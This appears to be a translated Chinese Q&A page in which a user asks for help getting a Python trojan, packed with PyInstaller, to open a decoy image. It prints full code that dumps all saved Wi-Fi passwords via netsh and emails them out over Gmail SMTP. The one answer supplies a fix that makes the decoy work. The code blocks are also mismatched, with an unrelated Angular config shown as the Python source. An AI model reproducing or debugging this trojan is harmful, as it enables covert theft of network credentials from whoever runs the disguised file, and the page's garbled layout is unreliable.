无法使用Subprocess.Popen()打开文件

时间:2020-08-26 23:48:37

标签: python windows subprocess pyinstaller trojan

我正尝试在https://phoenyxacademy.com的道德黑客课程中创建基于Python 3的木马。因此,这是一个基本的特洛伊木马程序,它将打开表面上的图片,但会提取并将wifi密码发送给电子邮件。但是在将python脚本与pyinstaller打包并运行生成的exe之后,我得到了一个错误。

Error Generated

Python源代码:

{
  "$schema": "../../node_modules/ng-packagr/ng-package.schema.json",
  "dest": "../../dist/my-lib-name",
  "lib": {
    "entryFile": "src/public-api.ts",
    "styleIncludePaths": ["node_modules"]
  }
}

我使用pyinstaller命令:

#!/usr/bin/env python3

# A program to steal wifi passwords and send to our e-mail


# import modules
import subprocess
import re
import smtplib
import sys
import tempfile


def retrieve_wifi_passwords():
    system_command = 'netsh wlan show profile'
    access_points = subprocess.check_output(system_command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
    access_point_list = re.findall("(?:Profile\s*:\s)(.*)", access_points.decode()) 
    
    profile_result = ""
    for access_point in access_point_list:
        system_command = 'netsh wlan show profile "' + access_point + '" key=clear'
        result = subprocess.check_output(system_command, shell=True)
        result = result.decode()
        profile_result += result
    
    return profile_result   


def send_mail(email, password, message):
    server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

# to run after embedding it with a file
temp_directory = tempfile.gettempdir()

file_name = "C:\\Users\\Faisal Gama\\AppData\\Local\\Temp\\car.jpg"
subprocess.Popen(file_name, shell=True)

email = 'my_email'
password = 'my_password'
profile_result = retrieve_wifi_passwords()
send_mail(email, password, profile_result)

1 个答案:

答案 0 :(得分:0)

您可以使用cmd exe来完成此工作。尝试

subprocess.Popen(["cmd", "/C", "start " + file_name], shell=True)